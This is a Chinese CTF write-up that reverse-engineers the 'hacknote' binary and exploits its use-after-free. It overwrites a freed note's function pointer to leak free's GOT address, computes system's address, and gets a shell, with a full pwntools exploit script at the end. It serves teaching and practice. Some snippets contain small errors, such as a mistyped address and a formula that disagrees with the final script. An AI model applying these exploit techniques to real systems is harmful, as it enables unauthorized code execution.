0x00 代码分析
1,检查保护
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
2,使用IDA分析程序流程
main 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __cdecl __noreturn main()
{
int v0; #eax
char buf; #[esp+8h] [ebp-10h]
unsigned int v2; #[esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_8048956();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
sub_80487D4();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sub_80488A5();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
sub_8048646();
}
}
}
读入你输入的选项,然后执行对应的函数
Add 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int sub_8048646()
{
_DWORD *v0; #ebx
signed int i; #[esp+Ch] [ebp-1Ch]
int size; #[esp+10h] [ebp-18h]
char buf; #[esp+14h] [ebp-14h]
unsigned int v5; #[esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
这里分析出来一个结构体
1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
struct note{
*func #指向打印函数0x080462b的指针
*msg_ptr #指向note内容的指针
}
Delete 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_80487D4()
{
int v1; #[esp+4h] [ebp-14h]
char buf; #[esp+8h] [ebp-10h]
unsigned int v3; #[esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
print 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int sub_80488A5()
{
int v1; #[esp+4h] [ebp-14h]
char buf; #[esp+8h] [ebp-10h]
unsigned int v3; #[esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}
该函数最后调用了func指针指向的函数,根据Add函数中的赋值,这个函数应该是sub_804862B
sub_804862B 函数分析
1
2
3
4
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}
该函数的功能就是输出msg_ptr指向内存区域的内容。
0x01 漏洞分析
在delete函数中,在释放指针之后没有将其赋值为空,这样会引起UAF
UAF(use after free)释放重用漏洞,漏洞原理,释放后的指针没有赋值为空,在其他地方再次申请到这块内存并改变其的内容,而再次使用到之前释放后的指针,就会造成程序的结果变得不正确。如果这个释放的指针中有函数指针等重要数据,同时在其他的地方修改成精心构造的数据,就可能泄露数据,甚至劫持控制流。
0X02 漏洞利用
根据对程序的静态分析,我们了解到程序首先会申请一个8字节大小的堆块来存储函数指针和字符串指针,根据上面的知识我们知道这个堆块是属于fastbin的,同时程序还会分配一个我们自定义大小的堆块。所以我们连续分配两个fastbin的内存并释放(但是内容的大小不能是8字节,不然会分配 4个 16字节的fast bin)。
1
2
3
4
add(40,'a'39)
add(40,'b'*39)
delete(0)
delete(1)
这样的话fastbin 0x10大小的块中内容是这样的,分别是free的两个mem为8byte大小chunk
这样的话再调用add并分配8字节大小的内存区域来储存字符串,这里字符串用特殊的payload 0x804862b为打印函数的地址 0x0804A018为free函数的got表地址,在IDA中got.plt段可以找到
1
add(8,p32(0x804862b)+p32(0x0804A018))
关键的一部,此处调用完add后 新note的结构体地址会直接从fasbin 0x10区域头的note1分配(根据fatbin LIFO原则) ,并且msg_ptr指向的堆内存是note0。如下图
所以我们成功覆盖了被释放掉的note0的结构体。当我们再次调用sub_804862B函数时就会,打印出0x0804A018(free函数got表)内储存的free函数真实地址。
1
2
puts(0)
free_addr=u32(p.recv(4))
leak出free函数的地址后根据提供的目标系统libc文件便可以得到目标系统system函数的地址。
1
system_addr=read_addr-(libc_read_addr-libc_system_addr)
得到system_addr后释放note(2)并重新申请新note写入system地址与参数,并调用puts执行system,这里有个限制,就是参数必须为4byte,但是/bin/sh有8byte,要用到system参数截断的姿势如 : “;$0” “;sh” “||sh”
payload如下
1
2
3
delete(2)
add(8,p32(system_addr)+';sh')
put(0)
0x03 完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
def add(size,data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(data)
def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def puts(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
p=process('./hacknote')
libc=ELF('/lib/i386-linux-gnu/libc-2.27.so')
libc_free_addr=libc.symbols['free']
libc_system_addr=libc.symbols['system']
add(40,'a'*39)
add(40,'b'*39)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x0804A018))
puts(0)
free_addr=u32(p.recv(4))
system_addr=free_addr-(libc_free_addr-libc_system_addr)
delete(2)
add(8,p32(system_addr)+';$0')
puts(0)
p.interactive()